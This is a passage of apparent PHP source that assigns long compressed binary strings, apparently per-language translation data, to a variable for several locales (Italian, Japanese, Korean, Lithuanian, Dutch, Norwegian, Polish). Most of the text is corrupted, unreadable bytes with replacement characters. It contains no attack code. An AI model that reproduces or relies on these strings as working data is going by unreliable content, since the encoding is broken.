;���/�G�W��f�B��M.e�;�H���:��[9p��/�䌒���9t#��E���Pq�R��:FN��91*I��<Y�15%���0ӅI��\0�\$�e+A) �NpS\$R\$ě᤟3r��W\$Ƨ\"D)��a�K��NvYg2��u�,l�J_-,J0���\r��3L�	�f��]ٻ\nalbHR�	��H�g�K��4��mbb%��'E�QK�@Fn��S��=��!�yW���\r:~��`�竵�u�y�+g���К�(4}�q'A�>��S ���WI\$��k�&���]��J�w�qG&�J���ͩ�5+���ɱ�U��X� �I�6K����YI(��h;_J�s5�>��π蝇��lջ|��\"�T�v��s9R�N3�1����{>�7�iAEH\\^�g*�T��:b�����D�)vTuIS̳ܳ�6��@�r7��g��w��u�9I\$bdy:,i�	^�(�1m9'N�f:Š���%}�w�\nx��;Z���x(�?f�էj��X��^��{fW����:�����+zxc�6������|� ��&~��@PWA韑�b����^��l�	��\\����x\n�A�)�Ć���'�h#�E1a��K.�#���l��z��4\$\\#�T��iO	�C�\r!����X��7�����h8t1�\"<K,6��q��ϊ\$F*܅�S��	�����D�7��;c�V(|P��7�(=B*7B>���9�j��(�F� �NE\0�\r���N���-�&]���\"H�m��b�-EB�pj��R��L�.@�����.�&*�\0��H��0�D����x�f~�\$|j.*R%&D���L�Ȍ�\"� b\\X#��i�l�M�M �\r ���jz}i	È.c\n p9%H-��M�NJ�`DJ	�E4\$k�2l�ͣ��#�bgd�##&��Jg����C�A��R A�|1�=� 2�";break;case"it":$g="S4�Χ#x�%���(�a9@L&�)��o����l2�\r��p�\"u9��1qp(�a��b�㙦I!6�NsY�f7��Xj�\0��B��c���H 2�NgC,�Z0��cA��n8���S|\\o���&��N�&(܂ZM7�\r1��I�b2�M��s:�\$Ɠ9�ZY7�D�	�C#\"'j	�� ���!���4Nz��S����fʠ 1�����+k3�3	\r���J�R[i�\n\"�&V��3��Nw���0�)���ln4�Nt�]�R�ژj	iP�p�ƣލ�f�6�ʪ-�(��B#L�Cf�8@�N�)� �2�� �P\"\0����^�2Ó��b�t9��@��cu	�0*ݯ���	��zԒ�r7Gp���7���=<\r3%�h�'�\n�����/K�`�*r��Mb��/�r�;#�K��8�Cʨ����!���\$���Џ@ ��8�2��L&!�K�α�È�	���K�R��H���c3�R�@�N�\r\$P�Ԧ�#܇C��Ȍ\nb��E�H��1���0�L+�����ҮQ��LB��p�L!��ͻ�w{j.q�(3l�\n\$���й:��9^�\0ʘZ���tZИ�s/�:AD��c�2� ���0��I	h��B�ތH�˖�c3���!8�c@9c�����\r��aK�7�h�@!�b���\$���_��0����ؘ\"6���1���*�3.�mŸ�dI�ޖ�I�n#\$0�Ct�\"C�j��S~�l'J�����<��2i!�`4Q�0z\r��8a�^���]��@�-8^����ʚ��xD�L��ŋ��7\ra}x	��|�f��м��Þ�#�3#WQ�Z&\$.>̒?#,��0�B���[L�޽��r%��2v��B�\"�#�\n@��4w��Ӆ\n0R��ހ�PIj�T��+4@@уI>�8�pD��I\n��R��2;a稤���dI�w\$o�'p�jMZ�SG���@�ds0R�����9�5M��@��O�R�ᤘ\0�£I\nP\$���b��m�*\r��b��pi6���<�򒃌2�Jh�;i���p@�Ba@)�4`����1^+����:CA��&�ߞ��\0Q�M��'��@B�D!P\"�� E	�J�:HdQ\$T��7��D���>�ȗ*�Z�\$�pQ&\"P�ۘT-�m^Ք�ThiUg��𦼓+�5�!����XmM���x\rB4Z�X��2�n�\"�<�Fm�u�Lsv��k�*nL�l\$�b!��5��:�c��	FN�:>��M߃�=K�#BnH�(�.`��@�|�G�d��V�Ԛ��\0�U�ћ˕oN��6��/Tq5��x��r�0�-�Θ��n��)�ԓ%��[�I�l�*)3�qj#�\\�VzX�i3ȩFU\n��i�%Ŭ5�p��<K1(�'P�Z	�f\nFD�Ȁ�e�*\n7d9p�\$X� T!\$VDL��o��0���r �9\$&���bv\0�Y��S�w-(Iz�R�V��x'��T��AoF����0u��˘+Yk�-�1�J�=bv��hN0�%�K�|F\r)�R�4��Z��]Ҍj.�FBa������]CNnI+`�X�ݺ��^1�4��PE��LRsܾ��HU�:S𖠢8qÒ)A\\2�,�o��n�ϸ~�\n����-%�2F9��6N�v��B�%9&����㓬��u���,퓤k���o�|d�\n5A����J;e���.G�#�`�O�sU��Ԙ,�����_��d�L��ih=&j��b�J�*._	^q�e�D\rܳ�\$�8g�M�aA쀞������c'�cT\"Hi���WT�\ns�ڝ���cRY��	�\$zY�׭&n���g?��m_��`&��\r+������+�[�S�rW4Z��Av��ۊ���K:����\\[e�1j��m�r�T�X2��7ڭoQ�TUvi�4��[q�ekjK��/6�*cnF��ԷoM8����Y9P̸�Cnr�і=� ����Ok%�҆����Kdb�1�����&��A�rUzio}I�)��7�_��ª'��*��5�Q%���j����U�-Vs�4�t+������s�q�I#�K�ն�8�H����6��f ���QE>hWM���^Xٝ����5�����r\n7��odM�S��:�(�E3^\nǥ順H%��\"�xW�9�qj�˥�<���@w�ЖC/�/�����ȇ�� Y�4����3�K�[}��-��a���?�ڣ�_�t37���0�V��K�\\�U�I����o}S�zvW�k�RZS�c����M����������\$�\$Fn�E���ON,fo�m\noB�m	�0��-p,�jp/�ff..B�0*^%�#�d�����ڭ�NI~�”1j���*�lpnZ��= �9��hn *�1��FN�Ċon�FO#ܚB�OT\n���Z�\r�rS�κ�&d~�j�KF8��_\r�PFl�R_����J\$�Z\"��0i��L���M0���V*b0h�.%�\\Hb��d:��m#�%�\"N잉��P(0B1��,ǘMJ<!�H#�4��,b��B�eq�{b��X\$1\\ރ1��?kG��r~�(�'��b@5c(�B�g�~7fjKɊj}n�@�(E�����|��Z�)^���UQ���<���C�:B�B�B`�{b\"JѠN����\"@�,�1��\0�-���\n0\"�ˈ�ί\n\nqT^��\r�f	��I�`QhW�x�CN�#���q���D�\0���Щ��U��\$ʟ,�@�	\0t	��@�\n`";break;case"ja":$g="�W'�\nc���/�ɘ2-޼O���ᙘ@�S��N4UƂP�ԑ�\\}%QGq�B\r[^G0e<	�&��0S�8�r�&���#A�PKY}t ��Q�\$��I�+ܪ�Õ8��B0��<���h5\r��S�R�9P�:�aKI �T\n\n>��Ygn4\n�T:Shi�1zR��xL&���g`�ɼ� 4N�Q�� 8�'cI��g2��My��d0�5�CA�tt0����S�~���9�����s��=��(��4���>�r�t/׮TR��E:S*Lҡ\0�U'����(T#d	�H�E��q�E�')xZ��JA��1� ����1@�#��9��򬣰D	s�IU�*�\$ʨS/�l� ��_')<E���`����.R���s�<�r�J8H*�AU*����dB8W�*Ԇ��E�>U#�ŽR�8#��8D*�<r_��a��E��T�IB�#�d�+���lr�j�Hγ�A�3�>�%ʨ��E��Y���p�����Eu\"9=Qd~���Y�@=��&���\$��'16Z/���%u�cYI@B���]����D��J��t�%��E?GI,Q�0�Ԅ�s���ZNiv]��!4B�\\�w�\$m��J���B'���*�'I*[��J� P�:��cv�\0�1�#s�(���f���WL]�Fs����7���U�6A���AXe%�c�_��~�J�ZZbA��K���x��K�n�h�;K���AL�ŲY8��Vͷ�u�>h�Ye�r����:M#L#�X7��0��eZ���I`b��׍�(��p�:�cr9���@6\r�;�9����ό#8���Ko�����R���s��Ub��#N�.\\�G)\r���Ƅq���\r�ru\nP��)]�H�(A�y]�����=H+���G�%֨�:�y>�X`M!��#aØw\r��o�P�K�����jPf��4@��:�;��\\C#�\r��9�&�xe\r��<'DC|;L|9����d���C��\r��:�^A�#L���o\"�a\rf�4�Ca\r�3\r���>�� �{�\$�D�����C��w�OPbBHt!CA��,���\0�JA�=�1zC�AQ!���ؗވ�%2�A�\$La���f��w�A�a.r�����|�(��\n��|P\nD�i�U0�Ux���&#B�D��*+��QDB�,Q�@���I.2��k�0s�Q|⛧C�����9��1r8�C�@�d�7s����xS\n��Z��TPI��&���^�n�\$��!tI�(��h�=���\\Z�V��A0h��4�>��i� ntD7�i�)��@���6�|#@��r�\r1B	�h�Q��A���R�)��m��Q\n)ד�����P�*P[�\0D�0\"�R�T���\"\ndX�ؓ��֖�`(f,r3`�'�he鹗���{s�G4\\\$C�)\n�����K�G��AN�j���j�����\"#F���hD�r.e�\0��||H	���)��Ƶ���5�/V��*��P>��O���}b���\"������j���.!�j���A#����RV^\"5>�/�Q*�ď1Y�y������[kSm�x4�������0�m������2�!h��鱵5.��k?�\0I+�I^�	R�1�	i� ����€O���:�Xk|XV}�=�G�>5�س,����R�0�%�:����C���&�Ƚǂ��& Yrh)	���F�U�;h���W@�BH��r�Q�\r��\n�`�hm%�+���و�&x�A�ޚ�u@,2f���&5݂\ra5Z2��3BZ�\"B�L���1!�)�123Rf�W,ui\0���[�Dv��	�N��P�&E*���K�����D� ��E�7;��0s��MZhQMM,i�uyA\\2�*8���&(۲�n�`����Nj-<��\0�^Edr��+WΫ��yk�~@�@���r��+V@�� r��v�h�w;Ax.���V�շG�]��|��sX�AQ=ݬ H�QZ]#��!�e��E��A��A��N�]s�k��\0��#���q�vR�i�ݭeK\r��Zi�7<G��� ��mL�\$5��Rj_�x�|�#�;IJ�\r�Ϧ;�=�]w.���!Yɝ*	y1bQ�/*D��p[ͷ���^�p.���k6��QM�1��>߷Vl�oon}k�z�s�-�C����:���sox�2t/i��}j��0~���o�X��r�x9sia*����5q~_i-�nh�����J�XO|��<��S\0��V�\0�lא�/�խ�0\"�a��*&��\">�iH�Ŝb+A 0�0�.Hm�ybR�� Κʼn4BΣ/r�L��Lo@D#:�G��F\"��d�0d0�j�I�����0������=K@*�dƍ��/�/�����%�XP/\r0��.ċw�������&n�r.�jA�C(�^��c� V[���fv:/�R���/��L���L�+��2[��]���P�����#��Y�R]�֙��14���}�\0�_%�����L��G!c��\r��k���qXP��/�/�b?���љ��\"8s\0Gd�G�~H0\\���.�eG�m\$�f�������1���q�q�#�����D���˯g���ː\r�\"l��p�=��LR!�y,�#./Ĝ]Bx*�N����%�=%���@��`��+%bk��.���a0x�(��A�d�Ē֢X|���!x��b�DȖFT��a*FAҰ+q٦�Z��\0�p��j\0\r �\r`@�*~��08g8����>���ʒ�`ꁊ���t\n���Z\0@�@�0C�9�j���f�`R�\"1�n��Nܸ��&�b�@�0S	AD9��x2l��Sl2#&�\nN*�\n��z'�1�����<@9*|\r�&5��9��R� �<��+�p�Bd��\r3J��7�Na�b����eB8��\"����\0� ��\n�@��R5s���\0�ی,�.��Ӑ�\nЍ-���s�Naӎ�d���,~�a+C���\$3B�\\8-��*�\0@\n��\n��`���8�\0\\���TJ�\r;F��(bVm�YĀ@�S�E\n�X-?CJ6�P:T��=l|#�b�5>-FgE��ETh�a�����e.c*JIlI��oO\0uG�t#\$";break;case"ko":$g="�E��dH�ڕL@����؊Z��h�R�?	E�30�شD���c�:��!#�t+�B�u�Ӑd��<�LJ���N\$�H��iBvr�Z��2X�\\,S�\n�%�ɖ��\n�؞VA�*zc�*��D���0��cA��n8ȡ�R`�M�i��XZ:�	J���>��]��ñN������,�	�v%�qU�Y7�D�	�� 7����i6L�S���:�����h4�N���P +�[�G�bu,�ݔ#�����q���O){��M%K�#�d��`�̫z	�[*K��XvEJ�Ld� ��*�\n�`��J<A@p*Ā?DY8v\"�9��#@N�%yp��C��0T���i0J��AW����BGYXʓăC\0�L��u��ʓdaڧ ��	,R�xu�EJ\\NȤi`��\$&�ɤTEA�\\�v��e\"��g�GYM'�\$!��e�,�M3Z!�\$���E�*N�1u�@@���x�&u%+K�'\\�4MR�:v%��Y����Y�az�0��[�%�v���R���bbRBH���e)��!@v�s\"T��ˠ�2�dL�U	�@꒧Y@V/��D?���]��D�K��b�KɈ\nsè�67�crc�7<\"����Ii@\\��I�G�'aLN��Ė�tUYGM��\\WK��v�E!�S�[H��h����]�2�m+��B�Eq��ȤZA5���1Q)dYD��YUTYiFдz�7e�c��3��l�C`�94�H@0�Mx�3�c�2�55,�;��\n�{d6���@:�Ø�1�m��3`�\0�7�� �7×0���ta-�6����aK��L��H&b�)�1\rk�%�\\��(Un���aF�p�?ﴦ�J�<�ʐ��gedg~�C�o�TC~J�(\"h�9���g�c��9Y�(�8\r;��߇�W����D�t��^�@.!�����s��2��(+�\r!�&��t�|�����I\r��܆�*�/ ��\\q�z�7��0��^C����\"��s�#�Ad�<��R�^S�\$H9!\$(h\r/4�@\$��H P�<�G`�A@��X��!,�i��*���{�-����I��!B�����S:�&D�\nQxG���\rC P�Ǵ������R	\$t<� �Vy��!�\nã�o[�q�� �`��h 01����A\0cr��J��n�P	�L*�V�TfJ�V��/M)���yF�ҞTdԏ���,P�\n���R#t,_@���E�7TÃs�����0@�HgM�\0�n\ry�A*E���L+}� Pio.e`r5�@���p:Ŵ�f+�w/\0��\0U\n �@��8 �&Z\\�J�}O�XUbJ�b`3��-��\0�gh�G�2�`��v!�Y��z%X��j���K��%��2�������R����)3�d�2i���n�(\\�\n9%#�uk���זe&�R��A��Q� ٭���������h����5\"��L���-� V��*��;�TU�\\�ö*F����+H����^�N�i�w�ƪb�iA�9pU�\na�܆3���N���V^�٢�jJɪ+�)N+�\$�eL*�cg�#7ĕ�-��'՚�Wc��R\nEa�_g�r��)�y�����)�8+E�)�[@u�\0�b�T��B�JJ��(�d�Q�X�\r2��@��@ �P<4����M�o�g8Q0���Ts�@�C&��\0�,�A2C�6!�K%����Lw�Ņ���Y9�TD�rl�J:-/�^�.�s\ra4�(vd)=^���ZJ�(�\0PL�4V[�tHH���52�I�Y-%�ą�tYZݙ	���D��wO�t��\0+�P����>��L'bf�iY#\"��T��2̋#�W��H0�C�yx��1vk��]\"L�3*e���L(Y<���,	��Ik\",/x�Z�c,g3z�6�3Fs0iۍy�V�ݲ\\�+�Bb���y�w�u�J���4:szo����x�0S�H�,��E_&w��_0����ǪG�\r;�E�����^�����?W[�{��DIq���S�M;�U��Y\\� ��,���&�\r�xL�Z#�_]7�k�<��F������D��r��/w٦�\\��Yv��Y��-v#���n�:�x���˻�h����=p�.���(����&b*k?.m�U�:��~��f�b+��w�_�������w��`U�~厦���#�iK��~��6�I<��l�/a���4���zZ۰��\"|�AG�2�����,�\n�` �xJ�/���g<�_�n�0c>ew�ϫ�7��l�>'�+O�#���<���r��.�����.����b��Д!<3�BZ{0fE����b �6���=/ì>��ofŅK\0���'���:0TXp`�M�?�\\k�`�a2',2ND���\0:NP�O2�6!A�	.��������O��p�вN�o�	K,k0N���I\"<�L��:�.�\n�\\OLQ\rI�G\$v�ͼ���	��F��\r��N!;0��mP�\$�f��,��	�`�l�Q\$��A�%�.�d1-��//�Ƙ!D��D��Om\0E��S�m\rP~@�|����X@!�hot��B^�h�\n帾l��K8C�\ni>���=��{-2�T�Af��#�\ntĶ�����L�c��-���m��i�\r �\r`@����J�8�� ��������}	����\n���Z\0@��� C�(,�3�h�@i!21��ޫ����mk&�1�F@� RKahW!fH��2�0fl\$�n�&Ab�,��\0fe�	������2����5�9m�]D\"A`�O��\r�m�aË����LD\\!�Q%���̻D0��,qh�`�aLl5�]!��\r����l�-2ĒC�΢��Ʊ��4.I�*NjEH�NDSI�.@a8]f%ÈƊ��L~\0�Ơ�@� ���\r��)#��BH�me����eaj��R�3�� )4���j��c�]9p���n�:���\r3?/�@6��4��\nF�Dʔ[㤩B<HA`O<J@�t#�";break;case"lt":$g="T4��FH�%���(�e8NǓY�@�W�̦á�@f�\r��Q4�k9�M�a���Ō��!�^-	Nd)!Ba����S9�lt:��F �0��cA��n8��Ui0���#I��n�P!�D�@l2����Kg\$)L�=&:\nb+�u���l�F0j���o:�\r#(��8Yƛ���/:E����@t4M���HI��'S9���P춛h��b&Nq��|�J��PQO�n3����}W���Y���,�#H(�,1XI�3&��7�tٻ�,AuP��dtܺ�i�枧�z��8jJ��\n��д#R�Ӎ(��)�h\"��<� �:/�~6 ��*�D@�����5�Λ<+8�!�8�7���ȥ��[�9�8ʕ��(�,�l��R�)ă�@b��zk)1��	�#��\nh�5���((\r�?S4��%KP�:<c[�2K��h)KN�<�ъU�O򽯭�@; ���E8�k��.Hۂ���Z^�*������(\0MIS �:	UT�8�S���H�1��z ��5]^HHʮ\"��69���) #J��r��5%H��HP�&%UDO�h�8�I�*9�hmr6\r�[Zʎc�79�����nٶU��ЄH�1����C�J�9;`S��=�Z�i��x���L��S��^�D��\nt-��d�;�\"O��0��~[\$L�K6�רh�6�V�F��yT�S���cR�;1�hǓI�n�s�̨�3�b�2���S9��7��X�<߃u�1�l��3��D�n�cO�B����J6���aJH��i��W%��)�;⸨p@!^��z@>����3��XxA��ZH%P�|?��#;�ʍ�J#u�����v̥N�}O��OE���wN����f5\$i,�%?J\0�;�u(�<\r�������D4���9�Ax^;��p�aB@���p^\\`8x.m�4�����Fx:? �kW�k@�����\\C�<�  @�MBZsМ��S�~�Sr��)��΄Ȋ\$ !�v�u�G��8�a�\"�&b	�?����ڈJ>�]��r�Q�\n (��%��\0\0��9\"�Y�#�e�6Ų���sx�X�DW	Bu%���0�XjA!�8D&wQI6zo��#c�eIѯ!a��1�e��.*����C���|9#�@`g7核�\0�H���������H{6��(�#�R.��Q}#�3Qc�D�0�C��|\$Ԛ�i��pf,���G\\�N���H���+���?a���ULYf\"�#�pʙ�B��]t�ݠ4#�(�4�\r�i%��^W3 ��� Cˀy��:�:Y׻7	�#�R\$!t3JF�ڙpa���	�D�g��t�\\��<H�2��(ԁ-��8�CYʓ�p�	p�H�C�>:��f�Q#�y,\$p�b�lǒ3�RRt�fJ��FaZ�5|%�h�%}-��F���@�C[+#�X5j�_�\$�o!�A\$%B(KPK,��\"���ˠ �&6���4�7�n.Ī��y:�1�ޜ^�P���I��Y3�(�3��2)���C�Ch�88�\\s���[j�kAj��\0�T�j��f/��![3>\r��r\$F,����\\��Q@K#\n']h�g�U�j�Q֡�g�4�xeIHr�D���H���͙b�)K��+�����X��Re\r��2M�|`q;�혇�`,�A�@�\0��Aa Jg��+084{�I\\:/k�\"B\\R���9U�DՁ�Ha�(����E`��b\"f�\$Y(��e+�@NY��e�_��)L������vs8i٧-fӱ�3s�S�2�c�v^�(~漍c�T�76,�E2�L�:SG�컦-w�y�HipצPf�/��J9J�q1;8K�jNO��#�[fC�]?2Ƃ�@���8���\$Ț�Q\$q�SsY���.�!^eq�kۄ���ʏ�	��,F󱅗{\nC%��-��s<�Γ��o��N�cJ��~���sw�\$�m8�>�8%��2����k����-�xo�+�������i�_[��!�|p��%�4� ��'.����LZ��\"<�߰k�J(Y���^�P���S�����M�M(��N��*��H�t;�\$uٗ�ļ0It��vj��;OewW�W�ҙ�\r.`�vi_�+�B����{�j�b\$�!�5;�Xrnf��������4y2��u6�й�QF���O�ê#�j�0�t2�����}���G�p3q��\r̞�~{_��~6�[�_f��]�Fl۩�CA�4B#����pGZ��!α��C`yF��}�Vq(��)p��se��j�߳l�R�Zo�<o�OB� P�ni�|�����Pk�SL���N�0(ܯ%�'#O�n�8� �&9��CT��	���\")o��`;���ݥ��PF#�x#�,\$�y��<�-0���bcf:��OA�8쐨��6���o?PB����-�WE�<�&��k��������W\r��ޏ�L�\ndI\$3o\n��kp†�R�.�ȓI��R�1\"F�e�\\\$�b̐�x��uO�ڰ�B���3ě\r�x�e�Y������QP~��r�@�D��	�l��VJ%<����d�Ň���fFA��B18�g���Ҡ\"��0�\"�e'+\rj(TE\n/�V30���Og\0��1бj��Q��Ա�� �(��Vم���`q�D�F�L�!1�,�!�f%� +�d�\r�V���mā�ܨ)B�gZ&��n��'���nT�\\q �\n���p�d�r�I\"� S�2�-5'��j��`��r�r`�#�G�BkJ�i�0��'2NY��+�8���,b�/g8��QÌ�NH'���z�96u�,d�v��%ĪF�d�+�[�ؚ��	����2�J,%�̃�J~��k|y����+��#�4'�2H�����*��.z,\"��M�3���O{4`�5��%�&E�\\���J�¸ ���%4ï��<��Y��S>�d���h�����̦�i�m2�8\r\$b���\$��,�97�@����`���@�7G1��\"�l��Mf K�M�df\"\n��3S�4*�;f�����/�7\$ξ�8�>2�W<b�?��L?�›DL�� 0�\"�KB�= �";break;case"nl":$g="W2�N�������)�~\n��fa�O7M�s)��j5�FS���n2�X!��o0���p(�a<M�Sl��e�2�t�I&���#y��+Nb)̅5!Q��q�;�9��`1ƃQ��p9 &pQ��i3�M�`(��ɤf˔�Y;�M`����@�߰���\n,�ঃ	�Xn7�s�����4'S���,:*R�	��5'�t)<_u�������FĜ���QO;z�nwf8�A�0�������x�\"T�_o�#��Ӌ��}��O�7�<!��j��*����%\n2J� c�2@̓�!���2�C2�4�eZ����2I3Ȉ�x��/+���:�0�0p@�,	�,' NK�2��j���P����B�ڌ#�H<�#(�桮\$\$�B���0�b��1���TR�I�(�7%�;�ã�R(�\r��6��r7*rr�1�ps�ƬH�����9B��;���&��j��)=&9ҠP����ҕ�a*R1)XS\$ULH%�@P�:��b��̈���k��0����@�\"̗�iC2�nT^5��\n3�`P�[D���6�`�1����&{Z9K�\r�:�A\0ܞHK���,��鷳<�'S#u7N�s��<�P�28\n6��e{}SJ+�a�P�2�\n \$������\"(�V%,�߸s\"�Ms�� P�X��;0�R1��3X��ʚ���7Ё7(\$�:�cH9�è�i#k���P�H�3Ɗ*�%#j�v�@���:2/\0�)�B2|���S���c2읣�m�8+�-C�hH�����2h��N+ʊ��Y @��,���*��hl�o\$����⿹kn��4A�0zL#�t�x�߅ɎĽ�Ar�3�韒��CJ��M������\$�XDc�t�����^0��.��\rzSv�J�f�j)������d�:\r,�>BH��/�� �d�Am�p\0�l\$�)0�\"vA\0(*��������ymI��rrN��tD�\r��\"F��xtn���\nMBI,�œEI��6EM�Q�\0f)�� �G���d�~f���5\n<)�@Z��*,��&�b��_?����IL`\\�P�CP�u�aU��!�΢�^&�d���k	y1R\$���%Ȇ���\r'p#H VʋXo�\$ĸ��!5��2���C�\n��@�\".�\0U\n �@�+�\0D�0\"�`��AKiL(��@�l�1��\"��f�)���\"P�Z��#����Rn\$�eF���lq?M�<6�b.\\r�<g���1�`b)8�����j8�A3\$�����d�yP��A�H\n\n1���iْf\r��f�E���@!�G��@�t��6<�`�IӳkR!��Y�v�i���i��.��`S\r\$*o\$���%i廰S�=��bl,0�UC�>0r�`�4�L������)%(dBL9����^��9̔p�3�p�։;*Pe�7�,+�8�ҽQ\"�g�/F-��C�+�(tJ�!��)��DY}%t(� aW��*�F!���~�c\$�r��6�j��y\"��ve��%&Tȅ�nH\"�,��eXe\\b�P��b�Opt�h~�\\2?Hi�\rp�U�C8Wd��e�e�i6���B�����8���Z����L����ݣ�s͍��1#�\$ù+(-Ȃ`L�f)`�Ȝ8l��\$L���c\rD\0001b�����6�Rb�೚j��ɑ��\$�PCqjm���dK��6H`��,VT��AD�L���ĩ!`r��~e��G��	*�=� w�!�e-ߺ��2��I��5g\n`��5Ρ�eL�}����u��Aa�\$v_���	��vJ�Ռ���MwD��kc�0g8q��T̫������J�J������@��_����A'��6J��[�3�%���Zz˜Yʹd0́�/&�;�q��w�,u�24L7���e�-��v�c�x����ۃ���7-�Z�YJIL%Fʞ����Z�+���6ҺWj�ڶ�X�@�z����~� �Ͳ��Pl��9\"G\0Pn:���&^�0N�<8� B�?����R`��C�94I�&��ɚ��\";M���i��#UԆq�j5G��:�X���u]��l�9\$�6o�	f_\0 �|Oc��ڟ��띻��e9�;�yĕ�2\\n���LA�/Bhö~�M\r'B�m�,��/W�۫��\\����F��<�%h���vW�yj��뗟ҝ|�y����QfQ?KT�uvZ���2�v��ﶈ���mR�=���7�\"g��(T��[XL�?�7���0�?�`\\���\0�X.ٰ�g�y߄���h�q������c	�E�������>+>��:����\r�/�8bO ����1�&b�9��P�W�X4o*cP���*�\$�̼���\0�i�TU��5I�X,pY+~Td���F%0p\r���N�e\r�V\rb<\$%�?��Ѓ�?��&B���1C.�L%�vZ\"FtIb\n���pE��m��&��#��u�8a^�FJ +����(�Ƽ�\r�V�0#B�#�B�Ʀ*��N�	��\r ̷F.(I�\"̪1O�\$#�#̂\0E�z0���	��6X����Df#x��H�.����F�K�.J�A�`f���\r,8(\"��*~0�x8C�%��	�[�;F�.\\\\¼��P��\0���.B�3�<\$c�\"t�gaQ��\"�w��(��,��D�_E��媬m6���If�2�,��&��b<!BR�\n2eJi�'E�*P�Zö\r��!龜B�.LT	\n�%b����n�(b�Kk,q`�D�\$N\"ɀ�PI�A�^h�^.� �\$����H�\r�.C|��%D\\	\0�@�	�t\n`�";break;case"no":$g="E9�Q��k5�NC�P�\\33AAD����eA�\"a��t����l��\\�u6��x��A%���k����l9�!B)̅)#I̦��Zi�¨q�,�@\nFC1��l7AGCy�o9L�q��\n\$����?6B�%#)��\n̳h�Z�r��&K�(�6�nW��mj4`�q���e>�䶁\rKM7'�*\\^�w6^MҒa��>mv�>��t��4�	����O�[���߽�0�ȽGy�`N-1�B9{�mi���&�@��v�l����H�S\$�c/߾��C��80r`6� ²zd4����8��a���������*��-ʠ�9b����9oą-���\n�:9B0P�#�+r緫dn(!L�.7:Cc��O �ތ�X�(�,&����\"�-X�4���05H�~�-�p��1hh��)\0�c��)��ȪZ5\r�R0��@�3Acr�?�iۼ4�C:6�*\0�@6��KS!\nc[7! P��#���BC\$2<˕\0:�-z��c\$��\"`Z5��P�7�B�T)�M�Â.#���0��� ��J\n5�C+\"	�,�w�+���t�7���k��	#h�N�*[}��%�WM�m]�%�q�ʀ\r�|�c`Z4'c�p,�� ���5j��c;{e�Cx�ISz*9����c5p�I��X���¶0�\$�P\r�X�aJR*���ؿ.A\0�)�B6(7�A\0Z0MK�o�#���f\n����Q�<؏(C��d���Ycbv8:Z� 7<�;ѵȨ�@88ct�:%)Z�9��t�Nj��\0x0�B|3�Л�t��T1z\"��z��	\"4СxD��K��Ћ�;TA��8/6z�|��#�>ޣ���m[�@�����V�׃�v�#k�;C\r]��R�+��Ys栰���|�:��\0�k�B����PQAIM ,U�����Y#Li�A¸���2�-D9�F�J�y/&&I���Oâ5)��>����Kp'�Ig�DC� H@�޺\nZs��,���O������렙�)��'e\r�.e ��H�R�#��.���(\$4Ac��x(p��]��Xj�t�G�0s/����<�Lx \rfH��nH�!t��)�ZI�cn\r.p#@��R*�_�h�E79сK)9@ܤ��\nGh�G�@��P�*Y| E	�b�0ޓ��2G}D��4��HA2;\$ �[��D�1\\ �[���Q/���	�ɐ|�:��@��I���]�e�5�CMi威%`ĐIJ��4��>zO1�g`�>��(2�7Q7�����o]�M��?(��\nh�.�2h��&OU1��\r S�#��澥�<�LE2�w�Y-8�^�B��HiI!�P�ђ��Sa*O�5@ڊ�]d���UUS�0K��i�KW��0��9�2N�i�-��Y��I,�/��\\7\"�K&*F��\0��RIx�>8R�I|f��(F��PRYe�~�<�Na�=H���@�BH<�&CE;b,G �ԑ���R)'#&����xPKzx\0��ܣ�s��\0%��B��3�:A<%���b�9�LaȄ��uU�ػ@��]�b��w������J�\r���ޢx�.T��!��˶�uђWX_�{0A\rOe*��.))8���?/pܘ�����<I���(���`��eR��I��O^'��	I��_I-�-�4�PsW�:�D�2*�vLk�%���d���L(tM7;C�`��i\0��QssAgI#����[��{7Ǭ�@bI��ՠ�f0��|�A�#�DR��K���roʄ&(hy��g	T.�c�^D�#ȏ!˭ʰ��<�J�S:h@�\\cH\n	ǽФ�S(qxA��g9!F`k���dR�G���	�Ā������a�S��(��T����-�Jv�n:Eg>�øL���P�ނ�h�&���^��i����I���7���徯���R�I����4�\\R��Xm��W�;ynZ+�k�ekh9�\nV,�5iC����Aid�gom�>��P�al�����^OZ�;A� ��s�8ʑ>4V���JO���������ݯ���r��7� w�F�4�n����K	����F�<��)��o.��������:��U|(V��ms|%+�g]e�����\"sf�ǁG������i/4����e�ǀv���*�����D_X�B�˟Ԫ�W�}��(!�����0%9�m\"���\r��n��g\0����R�w�`�[⪩��v��@���w�Q�}��&Z��Y��>C�(�f���I����+ ��p`��B��Bb�(�?�X �=B�oE����V@�3%6�Ŧ��;i)E�9k)��b�U+��Fh�&�(��b�=�Z�@���&H�-�6 ��6�������1��-�| �B`�`�<���ш��H8mN5���b��g�C(֘\0��pb��U\0ރ�SL�\r)T7��N\r��Eº�rnL~Jd�ς��L�'��#�8��Ύ8�j��1J����@�C�it���q�::D���E2#���0j��\\�* ׃�=�O�Z��v0�Dqm�\n\":E�\rC�|��Σbԭu)�&c\"<��ʠ�	DL�\\R+\n�8���c�	��-J�0���VL����%QR-\"ܪL���̥bw��O��殠�-�쮠�\\\"��\$9E��fS`����\$��qi��\0b}&Y)F<ʦNdƬϠ�\0��g�W�z�`MP\"��";break;case"pl":$g="C=D�)��eb��)��e7�BQp�� 9���s�����\r&����yb������ob�\$Gs(�M0��g�i��n0�!�Sa�`�b!�29)�V%9���	�Y 4���I��0��cA��n8��X1�b2���i�<\n!Gj�C\r��6\"�'C��D7�8k��@r2юFF��6�Վ���Z�B��.�j4� �U��i�'\n���v7v;=��SF7&�A�<�؉���vw�C���N���A�g\r�(�s:�D�\\�<���#�(�r7��\\��xy����)�V�>��2��A\n����o�|�!��*#��0j3<�� P�:��#�=?�8¾7�\0�=(ȨȠ�zh�\r*\0��hz��(�����	�˄\nLLX�C\n\np\"h9;Ɍ3#�8��#z�'(,Sr1�\r��7��0�4�nhº�k�X9��T�(\r�X˜�H��)�#���#�j��K�����A�#��D���M�td�2�ȉ��3:!-C&�NKS�l��O3�xè�5��p��?�\rs(T� ��b��cx��0���2��(�/H���å#����(:t�H�7(�خ�#:��%/�����t:���P�k茡\0�(��P�:��\0�7l�B�Cx�;��`9�m)Eɯ�3>�s.7Ks\"]�؞*�d�FOm�y2z:TH@�̢�80�h���ä5,�P�6�u�\"�ZM��⅛�K��n;0��ġ�e���+�\r�Ƃ��H@7��2D�&�\\�4�͓D�%ih�1g�*1�d�!b0�o�6�|%���S��:9ap��®2�z�ɿ||��59q-g,\$dP�X@��s��s�GC����wC7�o�F�Bl'!��2K���\rh�@!�b��`^��iH���p�:����终�ѣ�^�6��~��҈�5(>��D�q��5&�>�	